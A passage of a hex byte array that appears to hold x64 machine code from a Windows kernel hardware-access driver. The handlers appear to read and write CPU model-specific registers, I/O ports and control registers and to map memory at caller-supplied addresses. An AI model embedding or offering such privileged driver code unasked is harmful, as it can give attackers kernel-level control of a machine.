0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46,
0x30, 0xE9, 0xE1, 0x2B, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xD0, 0x2B, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x4C, 0x83, 0x7A, 0x10, 0x0C, 0x72, 0x46, 0x45, 0x8B, 0x45, 0x04, 0x45, 0x8B, 0x4D, 0x08, 0x49, 0x8B, 0xC0, 0x48, 0xC1, 0xE0, 0x20, 0x49, 0x0B, 0xC1, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0x41, 0x8B, 0x4D, 0x00, 0x0F, 0x30, 0x45, 0x89, 0x4D, 0x00, 0x45, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x7E, 0x2B, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x6D, 0x2B, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x2B,
0x83, 0x7A, 0x10, 0x04, 0x72, 0x25, 0x41, 0x8B, 0x55, 0x00, 0xEC, 0x0F, 0xB6, 0xC0, 0x41, 0x89, 0x45, 0x00, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0x3C, 0x2B, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x2B, 0x2B, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x2C, 0x83, 0x7A, 0x10, 0x04, 0x72, 0x26, 0x41, 0x8B, 0x55, 0x00, 0x66, 0xED, 0x0F, 0xB7, 0xC0, 0x41, 0x89, 0x45, 0x00, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0xF9, 0x2A, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xE8, 0x2A, 0x00, 0x00, 0x83,
0x7A, 0x08, 0x08, 0x72, 0x28, 0x83, 0x7A, 0x10, 0x04, 0x72, 0x22, 0x41, 0x8B, 0x55, 0x00, 0xED, 0x41, 0x89, 0x45, 0x00, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0xBA, 0x2A, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xA9, 0x2A, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x30, 0x83, 0x7A, 0x10, 0x08, 0x72, 0x2A, 0x41, 0x8B, 0x55, 0x00, 0x41, 0x8B, 0x45, 0x04, 0xEE, 0x41, 0xC7, 0x45, 0x00, 0x21, 0x43, 0x65, 0x87, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0x73, 0x2A, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0,
0xE9, 0x62, 0x2A, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x31, 0x83, 0x7A, 0x10, 0x08, 0x72, 0x2B, 0x41, 0x8B, 0x55, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x66, 0xEF, 0x41, 0xC7, 0x45, 0x00, 0x21, 0x43, 0x65, 0x87, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0x2B, 0x2A, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x1A, 0x2A, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x30, 0x83, 0x7A, 0x10, 0x08, 0x72, 0x2A, 0x41, 0x8B, 0x55, 0x00, 0x41, 0x8B, 0x45, 0x04, 0xEF, 0x41, 0xC7, 0x45, 0x00, 0x21, 0x43, 0x65, 0x87, 0x41, 0xC7, 0x45, 0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xE9, 0xE4,
0x29, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xD3, 0x29, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xF2, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x14, 0x0F, 0x82, 0xE8, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x7D, 0x08, 0x41, 0x8B, 0x5D, 0x0C, 0x48, 0xC1, 0xE3, 0x20, 0x41, 0x8B, 0x45, 0x10, 0x48, 0x03, 0xD8, 0x48, 0x89, 0x9C, 0x24, 0xB8, 0x02, 0x00, 0x00, 0x8B, 0xD7, 0x48, 0x8B, 0xB4, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0x85, 0xF8, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0x32, 0x48, 0x2B, 0x30, 0x48, 0x8B, 0x40, 0x08, 0x4C, 0x8D, 0x04, 0x06, 0x41, 0x8B, 0xD7, 0x89, 0x54,
0x24, 0x6C, 0x3B, 0xD7, 0x73, 0x12, 0x8B, 0xCA, 0x42, 0x0F, 0xB6, 0x04, 0x01, 0x88, 0x04, 0x19, 0xFF, 0xC2, 0x89, 0x54, 0x24, 0x6C, 0xEB, 0xEA, 0x41, 0xC7, 0x45, 0x00, 0x11, 0x11, 0x11, 0x11, 0xEB, 0x4B, 0x48, 0x8B, 0xD7, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xCE, 0xFF, 0x15, 0x97, 0x37, 0x00, 0x00, 0x45, 0x8B, 0xC7, 0x44, 0x89, 0x7C, 0x24, 0x6C, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x44, 0x3B, 0xC7, 0x73, 0x14, 0x41, 0x8B, 0xD0, 0x0F, 0xB6, 0x0C, 0x02, 0x88, 0x0C, 0x1A, 0x41, 0xFF, 0xC0, 0x44, 0x89, 0x44, 0x24, 0x6C, 0xEB, 0xE7, 0x48, 0x8B, 0xD7, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0xE3, 0x36, 0x00, 0x00, 0x41, 0xC7, 0x45, 0x00, 0x22, 0x22, 0x22, 0x22, 0x41, 0x89, 0x5D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C,
0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xD7, 0x28, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xC6, 0x28, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0x9C, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0x92, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xCC, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x7D, 0x08, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x8B, 0xD6, 0x48, 0x8B, 0x9C, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xE8, 0x8A, 0xF7, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0x14, 0x48, 0x2B, 0x18, 0x48, 0x8B, 0x40, 0x08, 0x89, 0x3C, 0x03, 0x41, 0xC7, 0x45, 0x00, 0x11, 0x11, 0x11, 0x11, 0xEB, 0x25, 0x45,
0x33, 0xC0, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xBA, 0x36, 0x00, 0x00, 0x89, 0x38, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x2C, 0x36, 0x00, 0x00, 0x41, 0xC7, 0x45, 0x00, 0x22, 0x22, 0x22, 0x22, 0x41, 0x89, 0x7D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x20, 0x28, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x0F, 0x28, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xD3, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0xC9, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xF4, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0xF0, 0x01,
0x00, 0x00, 0x45, 0x8B, 0x65, 0x08, 0x41, 0x8B, 0xD4, 0x48, 0x8B, 0x9C, 0x24, 0xF0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xE8, 0xD7, 0xF6, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x68, 0x41, 0x8B, 0xCF, 0x89, 0x8C, 0x24, 0x14, 0x01, 0x00, 0x00, 0x83, 0xF9, 0x20, 0x7D, 0x54, 0x48, 0x63, 0xC1, 0x48, 0x8D, 0x14, 0x40, 0x48, 0x8D, 0xB4, 0xD7, 0x40, 0x61, 0x00, 0x00, 0x83, 0x3E, 0x00, 0x75, 0x35, 0x83, 0xBC, 0xD7, 0x44, 0x61, 0x00, 0x00, 0x00, 0x75, 0x2B, 0x83, 0xBC, 0xD7, 0x50, 0x61, 0x00, 0x00, 0x00, 0x75, 0x21, 0x48, 0x85, 0xF6, 0x74, 0x27, 0x49, 0x8B, 0xD4, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xDF, 0x35, 0x00, 0x00, 0x48, 0x89, 0x1E, 0x48, 0x89, 0x46, 0x08, 0x44, 0x89, 0x66, 0x10, 0xEB, 0x14, 0xFF, 0xC1, 0x89, 0x8C, 0x24, 0x14, 0x01, 0x00, 0x00, 0xEB,
0xA7, 0x49, 0x8B, 0xC7, 0xEB, 0x04, 0x48, 0x8B, 0x40, 0x08, 0x41, 0x89, 0x45, 0x00, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x32, 0x27, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x21, 0x27, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xD4, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0xCA, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x75, 0x00, 0x89, 0xB4, 0x24, 0xAC, 0x01, 0x00, 0x00, 0x45, 0x8B, 0x65, 0x04, 0x44, 0x89, 0xA4, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x5D, 0x08, 0x8B, 0xD3, 0x48, 0x8B, 0x8C, 0x24, 0xA8, 0x01, 0x00, 0x00, 0xE8,
0xEC, 0xF5, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x6C, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0x0C, 0x25, 0x08, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xAE, 0x34, 0x00, 0x00, 0x45, 0x8B, 0xDF, 0x44, 0x89, 0xBC, 0x24, 0x30, 0x01, 0x00, 0x00, 0x41, 0x83, 0xFB, 0x20, 0x7D, 0x4A, 0x49, 0x63, 0xC3, 0x48, 0x8D, 0x0C, 0x40, 0x44, 0x39, 0xA4, 0xCF, 0x40, 0x61, 0x00, 0x00, 0x75, 0x2C, 0x39, 0xB4, 0xCF, 0x44, 0x61, 0x00, 0x00, 0x75, 0x23, 0x39, 0x9C, 0xCF, 0x50, 0x61, 0x00, 0x00, 0x75, 0x1A, 0x44, 0x89, 0xBC, 0xCF, 0x40, 0x61, 0x00, 0x00, 0x44, 0x89, 0xBC, 0xCF, 0x44, 0x61, 0x00, 0x00, 0x44, 0x89, 0xBC, 0xCF, 0x50, 0x61, 0x00, 0x00, 0xEB, 0x0D, 0x41, 0xFF, 0xC3, 0x44, 0x89, 0x9C, 0x24, 0x30, 0x01, 0x00, 0x00, 0xEB, 0xB0, 0x41, 0xC7, 0x45, 0x00, 0x78, 0x56, 0x34, 0x12, 0x41, 0xC7, 0x45,
0x04, 0x21, 0x43, 0x65, 0x87, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x43, 0x26, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x32, 0x26, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xB3, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x04, 0x0F, 0x82, 0xA9, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x85, 0xC0, 0x74, 0x71, 0x83, 0xE8, 0x02, 0x74, 0x3F, 0x83, 0xF8, 0x01, 0x74, 0x0D, 0x41, 0xC7, 0x46, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x85, 0x00, 0x00, 0x00, 0x0F, 0x20, 0xD9, 0x8B, 0xC1, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x45, 0x00, 0x41, 0x89, 0x4D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00,
0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xEB, 0x58, 0x0F, 0x20, 0xD1, 0x8B, 0xC1, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x45, 0x00, 0x41, 0x89, 0x4D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xEB, 0x2B, 0x0F, 0x20, 0xC1, 0x8B, 0xC1, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x45, 0x00, 0x41, 0x89, 0x4D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x75, 0x25, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x64,
0x25, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x72, 0x74, 0x83, 0x7A, 0x10, 0x0C, 0x72, 0x6E, 0x41, 0x8B, 0x45, 0x00, 0x41, 0x8B, 0x55, 0x04, 0x41, 0x8B, 0x4D, 0x08, 0x85, 0xC0, 0x74, 0x35, 0x83, 0xF8, 0x03, 0x74, 0x0A, 0x41, 0xC7, 0x46, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x4A, 0x48, 0xC1, 0xE1, 0x20, 0x48, 0x03, 0xCA, 0x0F, 0x22, 0xD9, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xEB, 0x24, 0x48, 0xC1, 0xE1, 0x20, 0x48, 0x03, 0xCA, 0x0F, 0x22, 0xC1, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xEA, 0x24, 0x00, 0x00, 0x4D, 0x89, 0x7E,
0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xD9, 0x24, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0x42, 0x02, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x08, 0x0F, 0x82, 0x38, 0x02, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0x18, 0x01, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0xF4, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF4, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xA5, 0x32, 0x00, 0x00, 0x41, 0x8B, 0x5D, 0x00, 0x89, 0x9C, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0x2C, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0x05, 0x00, 0x03, 0x00, 0x00, 0x89, 0x84,
0x24, 0x28, 0x01, 0x00, 0x00, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x28, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xAD, 0x32, 0x00, 0x00, 0x4C, 0x8B, 0xD8, 0x44, 0x8B, 0x60, 0x20, 0x44, 0x89, 0xA4, 0x24, 0x38, 0x02, 0x00, 0x00, 0x8B, 0x80, 0xE0, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x89, 0x84, 0x24, 0x3C, 0x02, 0x00, 0x00, 0x41, 0x8B, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x89, 0xBC, 0x24, 0x40, 0x02, 0x00, 0x00, 0x41, 0x8B, 0xCC, 0x0F, 0xBA, 0xF1, 0x11, 0x41, 0x89, 0x4B, 0x20, 0x41, 0xC7, 0x83, 0xE0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0xB3, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x8B, 0x90, 0x00, 0x00, 0x00, 0x44, 0x89, 0x8C, 0x24, 0xFC, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xD3,
0xED, 0x44, 0x8B, 0xC0, 0x89, 0x44, 0x24, 0x74, 0x41, 0x81, 0xE0, 0xFF, 0xFF, 0xFF, 0x00, 0x44, 0x89, 0x44, 0x24, 0x74, 0x41, 0xBF, 0x00, 0x00, 0xF0, 0xFF, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x45, 0x8B, 0x93, 0x90, 0x00, 0x00, 0x00, 0x45, 0x3B, 0xD7, 0x73, 0x30, 0x41, 0x89, 0xB3, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x8B, 0x90, 0x00, 0x00, 0x00, 0x44, 0x89, 0x8C, 0x24, 0xFC, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xD3, 0xED, 0x44, 0x8B, 0xC0, 0x89, 0x44, 0x24, 0x74, 0x41, 0x81, 0xE0, 0xFF, 0xFF, 0xFF, 0x00, 0x44, 0x89, 0x44, 0x24, 0x74, 0x45, 0x8B, 0xD1, 0x0F, 0xB7, 0xD3, 0xED, 0x8B, 0xD0, 0x89, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x81, 0xE2, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x3B, 0xD0, 0x73, 0x0D, 0x81, 0xC2, 0xFF, 0xFF, 0xFF,
0x00, 0x89, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x8B, 0xCA, 0x41, 0x2B, 0xC8, 0x81, 0xF9, 0x98, 0x3A, 0x00, 0x00, 0x72, 0x8B, 0x41, 0x8B, 0xC1, 0x66, 0x0F, 0xEF, 0xFF, 0xF2, 0x48, 0x0F, 0x2A, 0xF8, 0x41, 0x8B, 0xC2, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0xF2, 0x0F, 0x5C, 0xF8, 0x8B, 0xC2, 0x66, 0x0F, 0xEF, 0xF6, 0xF2, 0x48, 0x0F, 0x2A, 0xF0, 0x41, 0x8B, 0xC0, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0xF2, 0x0F, 0x5C, 0xF0, 0x66, 0x0F, 0x2F, 0x35, 0x04, 0x32, 0x00, 0x00, 0x76, 0x17, 0x66, 0x0F, 0x28, 0xC7, 0xF2, 0x0F, 0x59, 0x05, 0xEE, 0x31, 0x00, 0x00, 0xF2, 0x0F, 0x5E, 0xC6, 0xF2, 0x44, 0x0F, 0x5A, 0xC0, 0xEB, 0x04, 0x45, 0x0F, 0x57, 0xC0, 0x45, 0x89, 0x63, 0x20, 0x8B, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x41, 0x89, 0x83, 0xE0,
0x00, 0x00, 0x00, 0x41, 0x89, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCB, 0xFF, 0x15, 0xB0, 0x30, 0x00, 0x00, 0xF3, 0x4D, 0x0F, 0x2C, 0xD8, 0x45, 0x89, 0x5D, 0x00, 0xF2, 0x48, 0x0F, 0x2C, 0xC7, 0x41, 0x89, 0x45, 0x04, 0xF2, 0x48, 0x0F, 0x2C, 0xC6, 0x41, 0x89, 0x45, 0x08, 0x41, 0x89, 0x7D, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x8D, 0x22, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x7C, 0x22, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0x2C, 0x01, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x08, 0x0F, 0x82, 0x22, 0x01, 0x00, 0x00, 0x45,
0x8B, 0x4D, 0x00, 0x44, 0x89, 0x8C, 0x24, 0x10, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x4D, 0x04, 0x89, 0x8C, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x4C, 0x8B, 0xD0, 0x41, 0x0F, 0xB7, 0xD1, 0xED, 0x44, 0x8B, 0xC0, 0x41, 0x81, 0xE0, 0xFF, 0xFF, 0xFF, 0x00, 0x41, 0x0F, 0xB7, 0xD1, 0xED, 0x89, 0x44, 0x24, 0x3C, 0x25, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x44, 0x24, 0x3C, 0x41, 0x3B, 0xC0, 0x73, 0x09, 0x05, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x44, 0x24, 0x3C, 0x41, 0x2B, 0xC0, 0x3D, 0x98, 0x3A, 0x00, 0x00, 0x72, 0xD6, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x48, 0x8B, 0xC8, 0x41, 0x0F, 0xB7, 0xD1, 0xED, 0x89, 0x44, 0x24, 0x3C, 0x25, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x44, 0x24, 0x3C, 0x41, 0x3B, 0xC0, 0x73, 0x09, 0x05, 0xFF,
0xFF, 0xFF, 0x00, 0x89, 0x44, 0x24, 0x3C, 0x66, 0x0F, 0xEF, 0xDB, 0xF2, 0x48, 0x0F, 0x2A, 0xD8, 0x41, 0x8B, 0xC0, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0xF2, 0x0F, 0x5C, 0xD8, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC1, 0x48, 0x85, 0xC9, 0x79, 0x0E, 0xF2, 0x0F, 0x10, 0x0D, 0x92, 0x30, 0x00, 0x00, 0xF2, 0x0F, 0x58, 0xC1, 0xEB, 0x08, 0xF2, 0x0F, 0x10, 0x0D, 0x84, 0x30, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xD2, 0xF2, 0x49, 0x0F, 0x2A, 0xD2, 0x4D, 0x85, 0xD2, 0x79, 0x04, 0xF2, 0x0F, 0x58, 0xD1, 0xF2, 0x0F, 0x5C, 0xC2, 0xF2, 0x0F, 0x5E, 0xC3, 0xF2, 0x0F, 0x5A, 0xC0, 0xF3, 0x0F, 0x59, 0x05, 0x56, 0x30, 0x00, 0x00, 0xF3, 0x0F, 0x11, 0x84, 0x24, 0x04, 0x01, 0x00, 0x00, 0x45, 0x89, 0x7D, 0x00, 0x8B, 0x84, 0x24, 0x04, 0x01, 0x00, 0x00, 0x41, 0x89,
0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x46, 0x21, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x35, 0x21, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x04, 0x72, 0x6C, 0x83, 0x7A, 0x10, 0x1C, 0x72, 0x66, 0x45, 0x8B, 0x45, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x45, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x45, 0x8B, 0x55, 0x0C, 0x41, 0x8B, 0x4D, 0x10, 0x41, 0x8B, 0x45, 0x14, 